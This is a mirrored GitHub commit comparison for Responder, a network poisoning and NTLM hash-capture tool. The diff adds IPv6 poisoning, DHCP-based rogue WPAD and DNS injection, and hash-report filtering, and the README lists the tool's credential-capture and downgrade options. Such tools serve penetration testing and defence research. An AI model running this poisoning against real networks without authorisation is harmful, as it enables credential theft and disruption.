mirror of
https://github.com/lgandx/Responder.git
synced 2025-12-06 04:31:30 +00:00
Compare commits
47 Commits
v3.0.9.0
...
revert-216
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f39079da77 | ||
|
|
8d25d04f13 | ||
|
|
9d4f919b39 | ||
|
|
59daf46b93 | ||
|
|
cf0c4ee659 | ||
|
|
709df2c6e1 | ||
|
|
3aaaaf1c7f | ||
|
|
c9b5dd040e | ||
|
|
4321919c9f | ||
|
|
b8818ed0c4 | ||
|
|
07dbcf5d6d | ||
|
|
c51251db5f | ||
|
|
fe58475c63 | ||
|
|
00d9d27089 | ||
|
|
56c3832a3c | ||
|
|
0bc226b4be | ||
|
|
fad2be0a8e | ||
|
|
2765ef4e66 | ||
|
|
2cd66a9b92 | ||
|
|
15d03bc902 | ||
|
|
9b1c99ccd2 | ||
|
|
983a1c6576 | ||
|
|
03fa9a7187 | ||
|
|
a6838fdc42 | ||
|
|
8c201cf33e | ||
|
|
0c7a3ffabe | ||
|
|
d1cb26bda7 | ||
|
|
0ced7d52c0 | ||
|
|
e7eb3bcce8 | ||
|
|
fd9bcf7de1 | ||
|
|
b9f3ae35ee | ||
|
|
39a2c7c0f2 | ||
|
|
bd823f65a2 | ||
|
|
ee88da1af8 | ||
|
|
f85ad77d59 | ||
|
|
b147229938 | ||
|
|
afb54fa274 | ||
|
|
5cf69228cf | ||
|
|
0b56d6aaeb | ||
|
|
5d4510cc1d | ||
|
|
bc812da2ef | ||
|
|
3e8c9fdb0e | ||
|
|
76f6c88df3 | ||
|
|
9dc779869b | ||
|
|
505ec34324 | ||
|
|
a0bf7a9baa | ||
|
|
bb17595e3f |
3
.github/FUNDING.yml
vendored
Normal file
3
.github/FUNDING.yml
vendored
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
github: lgandx
|
||||||
|
patreon: PythonResponder
|
||||||
|
custom: 'https://paypal.me/PythonResponder'
|
||||||
10
DumpHash.py
10
DumpHash.py
@@ -28,14 +28,20 @@ def GetResponderCompleteNTLMv2Hash(cursor):
|
|||||||
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
|
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
|
||||||
Output = ""
|
Output = ""
|
||||||
for row in res.fetchall():
|
for row in res.fetchall():
|
||||||
Output += '{0}'.format(row[0])+'\n'
|
if "$" in row[0]:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
Output += '{0}'.format(row[0])+'\n'
|
||||||
return Output
|
return Output
|
||||||
|
|
||||||
def GetResponderCompleteNTLMv1Hash(cursor):
|
def GetResponderCompleteNTLMv1Hash(cursor):
|
||||||
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
|
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
|
||||||
Output = ""
|
Output = ""
|
||||||
for row in res.fetchall():
|
for row in res.fetchall():
|
||||||
Output += '{0}'.format(row[0])+'\n'
|
if "$" in row[0]:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
Output += '{0}'.format(row[0])+'\n'
|
||||||
return Output
|
return Output
|
||||||
|
|
||||||
cursor = DbConnect()
|
cursor = DbConnect()
|
||||||
|
|||||||
111
README.md
111
README.md
@@ -1,6 +1,6 @@
|
|||||||
# Responder/MultiRelay #
|
# Responder/MultiRelay #
|
||||||
|
|
||||||
LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
|
IPv6/IPv4 LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
|
||||||
|
|
||||||
Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com
|
Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com
|
||||||
|
|
||||||
@@ -8,23 +8,23 @@ Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.c
|
|||||||
|
|
||||||
## Intro ##
|
## Intro ##
|
||||||
|
|
||||||
Responder is an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB.
|
Responder is an LLMNR, NBT-NS and MDNS poisoner.
|
||||||
|
|
||||||
The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix. The option -d is also available if you want to poison Domain Service name queries.
|
|
||||||
|
|
||||||
## Features ##
|
## Features ##
|
||||||
|
|
||||||
|
- Dual IPv6/IPv4 stack.
|
||||||
|
|
||||||
- Built-in SMB Auth server.
|
- Built-in SMB Auth server.
|
||||||
|
|
||||||
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. If --disable-ess is set, extended session security will be disabled for NTLMv1 authentication. SMBv2 has also been implemented and is supported by default.
|
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. If --disable-ess is set, extended session security will be disabled for NTLMv1 authentication. SMBv2 has also been implemented and is supported by default.
|
||||||
|
|
||||||
- Built-in MSSQL Auth server.
|
- Built-in MSSQL Auth server.
|
||||||
|
|
||||||
In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005, 2008, 2012, 2019.
|
This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005, 2008, 2012, 2019.
|
||||||
|
|
||||||
- Built-in HTTP Auth server.
|
- Built-in HTTP Auth server.
|
||||||
|
|
||||||
In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 11, Edge, Firefox, Chrome, Safari.
|
This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 11, Edge, Firefox, Chrome, Safari.
|
||||||
|
|
||||||
Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim.
|
Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim.
|
||||||
|
|
||||||
@@ -34,11 +34,11 @@ Same as above. The folder certs/ contains 2 default keys, including a dummy pri
|
|||||||
|
|
||||||
- Built-in LDAP Auth server.
|
- Built-in LDAP Auth server.
|
||||||
|
|
||||||
In order to redirect LDAP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for LDAP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
|
This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
|
||||||
|
|
||||||
- Built-in DCE-RPC Auth server.
|
- Built-in DCE-RPC Auth server.
|
||||||
|
|
||||||
In order to redirect DCE-RPC Authentication to this tool, you will need to set the option -r and -d (NBT-NS queries for DCE-RPC server lookup are sent using the Workstation and Domain Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes. This server was successfully tested on Windows XP to Server 2019.
|
This server supports NTLMSSP hashes. This server was successfully tested on Windows XP to Server 2019.
|
||||||
|
|
||||||
- Built-in FTP, POP3, IMAP, SMTP Auth servers.
|
- Built-in FTP, POP3, IMAP, SMTP Auth servers.
|
||||||
|
|
||||||
@@ -56,10 +56,6 @@ This module will capture all HTTP requests from anyone launching Internet Explor
|
|||||||
|
|
||||||
This module allows to find the PDC in stealth mode.
|
This module allows to find the PDC in stealth mode.
|
||||||
|
|
||||||
- Fingerprinting
|
|
||||||
|
|
||||||
When the option -f is used, Responder will fingerprint every host who issued an LLMNR/NBT-NS query. All capture modules still work while in fingerprint mode.
|
|
||||||
|
|
||||||
- Icmp Redirect
|
- Icmp Redirect
|
||||||
|
|
||||||
python tools/Icmp-Redirect.py
|
python tools/Icmp-Redirect.py
|
||||||
@@ -125,46 +121,49 @@ Running the tool:
|
|||||||
|
|
||||||
Typical Usage Example:
|
Typical Usage Example:
|
||||||
|
|
||||||
./Responder.py -I eth0 -rPv
|
./Responder.py -I eth0 -Pv
|
||||||
|
|
||||||
Options:
|
Options:
|
||||||
|
|
||||||
--version show program's version number and exit.
|
--version show program's version number and exit
|
||||||
-h, --help show this help message and exit.
|
-h, --help show this help message and exit
|
||||||
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
|
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
|
||||||
BROWSER, LLMNR requests without responding.
|
BROWSER, LLMNR requests without responding.
|
||||||
-I eth0, --interface=eth0
|
-I eth0, --interface=eth0
|
||||||
Network interface to use.
|
Network interface to use, you can use 'ALL' as a
|
||||||
-i 10.0.0.21, --ip=10.0.0.21
|
wildcard for all interfaces
|
||||||
Local IP to use (only for OSX)
|
-i 10.0.0.21, --ip=10.0.0.21
|
||||||
-e 10.0.0.22, --externalip=10.0.0.22
|
Local IP to use (only for OSX)
|
||||||
Poison all requests with another IP address than
|
-6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed
|
||||||
Responder's one.
|
Poison all requests with another IPv6 address than
|
||||||
-b, --basic Return a Basic HTTP authentication. Default: NTLM
|
Responder's one.
|
||||||
-r, --wredir Enable answers for netbios wredir suffix queries.
|
-e 10.0.0.22, --externalip=10.0.0.22
|
||||||
Answering to wredir will likely break stuff on the
|
Poison all requests with another IP address than
|
||||||
network. Default: Off
|
Responder's one.
|
||||||
-d, --NBTNSdomain Enable answers for netbios domain suffix queries.
|
-b, --basic Return a Basic HTTP authentication. Default: NTLM
|
||||||
Answering to domain suffixes will likely break stuff
|
-d, --DHCP Enable answers for DHCP broadcast requests. This
|
||||||
on the network. Default: Off
|
option will inject a WPAD server in the DHCP response.
|
||||||
-f, --fingerprint This option allows you to fingerprint a host that
|
Default: False
|
||||||
issued an NBT-NS or LLMNR query.
|
-D, --DHCP-DNS This option will inject a DNS server in the DHCP
|
||||||
-w, --wpad Start the WPAD rogue proxy server. Default value is
|
response, otherwise a WPAD server will be added.
|
||||||
Off
|
Default: False
|
||||||
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
|
-w, --wpad Start the WPAD rogue proxy server. Default value is
|
||||||
Upstream HTTP proxy used by the rogue WPAD Proxy for
|
False
|
||||||
outgoing requests (format: host:port)
|
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
|
||||||
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
|
Upstream HTTP proxy used by the rogue WPAD Proxy for
|
||||||
retrieval. This may cause a login prompt. Default:
|
outgoing requests (format: host:port)
|
||||||
Off
|
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
|
||||||
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
|
retrieval. This may cause a login prompt. Default:
|
||||||
authentication for the proxy. WPAD doesn't need to
|
False
|
||||||
be ON. This option is highly effective when combined
|
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
|
||||||
with -r. Default: Off
|
authentication for the proxy. WPAD doesn't need to be
|
||||||
--lm Force LM hashing downgrade for Windows XP/2003 and
|
ON. Default: False
|
||||||
earlier. Default: Off
|
--lm Force LM hashing downgrade for Windows XP/2003 and
|
||||||
--disable-ess Force ESS downgrade. Default: Off
|
earlier. Default: False
|
||||||
-v, --verbose Increase verbosity.
|
--disable-ess Force ESS downgrade. Default: False
|
||||||
|
-v, --verbose Increase verbosity.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## Donation ##
|
## Donation ##
|
||||||
@@ -173,9 +172,14 @@ You can contribute to this project by donating to the following $XLM (Stellar Lu
|
|||||||
|
|
||||||
"GCGBMO772FRLU6V4NDUKIEXEFNVSP774H2TVYQ3WWHK4TEKYUUTLUKUH"
|
"GCGBMO772FRLU6V4NDUKIEXEFNVSP774H2TVYQ3WWHK4TEKYUUTLUKUH"
|
||||||
|
|
||||||
Or BTC address:
|
Paypal:
|
||||||
|
|
||||||
|
https://paypal.me/PythonResponder
|
||||||
|
|
||||||
|
Patreon:
|
||||||
|
|
||||||
|
https://www.patreon.com/PythonResponder
|
||||||
|
|
||||||
"1HkFmFs5fmbCoJ7ZM5HHbGgjyqemfU9o7Q"
|
|
||||||
|
|
||||||
## Acknowledgments ##
|
## Acknowledgments ##
|
||||||
|
|
||||||
@@ -199,11 +203,6 @@ We would like to thanks those major sponsors:
|
|||||||
|
|
||||||
Thank you.
|
Thank you.
|
||||||
|
|
||||||
## Official Discord Channel
|
|
||||||
|
|
||||||
Come hang out on Discord!
|
|
||||||
|
|
||||||
[](https://discord.gg/sEkn3aa)
|
|
||||||
|
|
||||||
## Copyright ##
|
## Copyright ##
|
||||||
|
|
||||||
|
|||||||
12
Report.py
12
Report.py
@@ -61,6 +61,14 @@ def GetResponderCompleteHash(cursor):
|
|||||||
for row in res.fetchall():
|
for row in res.fetchall():
|
||||||
print('{0}'.format(row[0]))
|
print('{0}'.format(row[0]))
|
||||||
|
|
||||||
|
def GetUniqueLookupsIP(cursor):
|
||||||
|
res = cursor.execute("SELECT Poisoner, SentToIp FROM Poisoned WHERE Poisoner in (SELECT DISTINCT UPPER(Poisoner) FROM Poisoned)")
|
||||||
|
for row in res.fetchall():
|
||||||
|
if 'fe80::' in row[1]:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
print('Protocol: {0}, IP: {1}'.format(row[0], row[1]))
|
||||||
|
|
||||||
def GetUniqueLookups(cursor):
|
def GetUniqueLookups(cursor):
|
||||||
res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
|
res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
|
||||||
for row in res.fetchall():
|
for row in res.fetchall():
|
||||||
@@ -99,6 +107,8 @@ print(color("[+] Generating report...\n", code = 3, modifier = 1))
|
|||||||
|
|
||||||
print(color("[+] DHCP Query Poisoned:", code = 2, modifier = 1))
|
print(color("[+] DHCP Query Poisoned:", code = 2, modifier = 1))
|
||||||
GetUniqueDHCP(cursor)
|
GetUniqueDHCP(cursor)
|
||||||
|
print(color("\n[+] Unique IP using legacy protocols:", code = 2, modifier = 1))
|
||||||
|
GetUniqueLookupsIP(cursor)
|
||||||
print(color("\n[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
|
print(color("\n[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
|
||||||
GetUniqueLookups(cursor)
|
GetUniqueLookups(cursor)
|
||||||
GetStatisticUniqueLookups(cursor)
|
GetStatisticUniqueLookups(cursor)
|
||||||
@@ -107,7 +117,7 @@ GetResponderUsernames(cursor)
|
|||||||
print(color("\n[+] Username details:", code = 2, modifier = 1))
|
print(color("\n[+] Username details:", code = 2, modifier = 1))
|
||||||
GetResponderUsernamesWithDetails(cursor)
|
GetResponderUsernamesWithDetails(cursor)
|
||||||
GetResponderUsernamesStatistic(cursor)
|
GetResponderUsernamesStatistic(cursor)
|
||||||
print color("\n[+] RunFinger Scanned Hosts:", code = 2, modifier = 1)
|
print (color("\n[+] RunFinger Scanned Hosts:", code = 2, modifier = 1))
|
||||||
cursor.close()
|
cursor.close()
|
||||||
try:
|
try:
|
||||||
cursor = FingerDbConnect()
|
cursor = FingerDbConnect()
|
||||||
|
|||||||
@@ -15,6 +15,7 @@ DNS = On
|
|||||||
LDAP = On
|
LDAP = On
|
||||||
DCERPC = On
|
DCERPC = On
|
||||||
WINRM = On
|
WINRM = On
|
||||||
|
SNMP = Off
|
||||||
|
|
||||||
; Custom challenge.
|
; Custom challenge.
|
||||||
; Use "Random" for generating a random challenge for each requests (Default)
|
; Use "Random" for generating a random challenge for each requests (Default)
|
||||||
|
|||||||
112
Responder.py
112
Responder.py
@@ -25,21 +25,22 @@ from utils import *
|
|||||||
import struct
|
import struct
|
||||||
banner()
|
banner()
|
||||||
|
|
||||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython %prog -I eth0 -wrf', version=settings.__version__, prog=sys.argv[0])
|
parser = optparse.OptionParser(usage='python %prog -I eth0 -w -d\nor:\npython %prog -I eth0 -wd', version=settings.__version__, prog=sys.argv[0])
|
||||||
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
|
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
|
||||||
parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
|
parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
|
||||||
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
|
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
|
||||||
|
parser.add_option('-6', "--externalip6", action="store", help="Poison all requests with another IPv6 address than Responder's one.", dest="ExternalIP6", metavar="2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed", default=None)
|
||||||
parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
|
parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
|
||||||
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
|
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
|
||||||
parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
|
|
||||||
parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
|
parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
|
||||||
parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False)
|
parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False)
|
||||||
|
|
||||||
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
|
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
|
||||||
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
|
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
|
||||||
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
|
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
|
||||||
|
|
||||||
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False", dest="ProxyAuth_On_Off", default=False)
|
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False", dest="ProxyAuth_On_Off", default=False)
|
||||||
|
parser.add_option('-Q','--quiet', action="store_true", help="Tell Responder to be quiet, disables a bunch of printing from the poisoners. Default: False", dest="Quiet", default=False)
|
||||||
|
|
||||||
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
|
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
|
||||||
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
|
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
|
||||||
@@ -73,10 +74,11 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
|||||||
else:
|
else:
|
||||||
if (sys.version_info > (3, 0)):
|
if (sys.version_info > (3, 0)):
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||||
else:
|
else:
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||||
except:
|
except:
|
||||||
raise
|
|
||||||
pass
|
pass
|
||||||
UDPServer.server_bind(self)
|
UDPServer.server_bind(self)
|
||||||
|
|
||||||
@@ -89,10 +91,11 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
|||||||
else:
|
else:
|
||||||
if (sys.version_info > (3, 0)):
|
if (sys.version_info > (3, 0)):
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||||
else:
|
else:
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||||
except:
|
except:
|
||||||
raise
|
|
||||||
pass
|
pass
|
||||||
TCPServer.server_bind(self)
|
TCPServer.server_bind(self)
|
||||||
|
|
||||||
@@ -105,10 +108,11 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
|
|||||||
else:
|
else:
|
||||||
if (sys.version_info > (3, 0)):
|
if (sys.version_info > (3, 0)):
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||||
else:
|
else:
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||||
except:
|
except:
|
||||||
raise
|
|
||||||
pass
|
pass
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
|
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
|
||||||
TCPServer.server_bind(self)
|
TCPServer.server_bind(self)
|
||||||
@@ -116,12 +120,18 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
|
|||||||
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
|
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
|
||||||
def server_bind(self):
|
def server_bind(self):
|
||||||
MADDR = "224.0.0.251"
|
MADDR = "224.0.0.251"
|
||||||
|
MADDR6 = 'ff02::fb'
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
|
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
|
||||||
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
|
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
|
||||||
|
|
||||||
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton)
|
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton)
|
||||||
|
|
||||||
|
#IPV6:
|
||||||
|
if (sys.version_info > (3, 0)):
|
||||||
|
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
|
||||||
|
else:
|
||||||
|
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
|
||||||
if OsInterfaceIsSupported():
|
if OsInterfaceIsSupported():
|
||||||
try:
|
try:
|
||||||
if settings.Config.Bind_To_ALL:
|
if settings.Config.Bind_To_ALL:
|
||||||
@@ -129,21 +139,25 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
|
|||||||
else:
|
else:
|
||||||
if (sys.version_info > (3, 0)):
|
if (sys.version_info > (3, 0)):
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||||
else:
|
else:
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||||
except:
|
except:
|
||||||
raise
|
|
||||||
pass
|
pass
|
||||||
UDPServer.server_bind(self)
|
UDPServer.server_bind(self)
|
||||||
|
|
||||||
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
|
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
|
||||||
def server_bind(self):
|
def server_bind(self):
|
||||||
MADDR = "224.0.0.252"
|
MADDR = '224.0.0.252'
|
||||||
|
MADDR6 = 'FF02:0:0:0:0:0:1:3'
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
|
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
|
||||||
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
|
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
|
||||||
|
|
||||||
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)
|
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)
|
||||||
|
|
||||||
|
#IPV6:
|
||||||
|
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
|
||||||
if OsInterfaceIsSupported():
|
if OsInterfaceIsSupported():
|
||||||
try:
|
try:
|
||||||
if settings.Config.Bind_To_ALL:
|
if settings.Config.Bind_To_ALL:
|
||||||
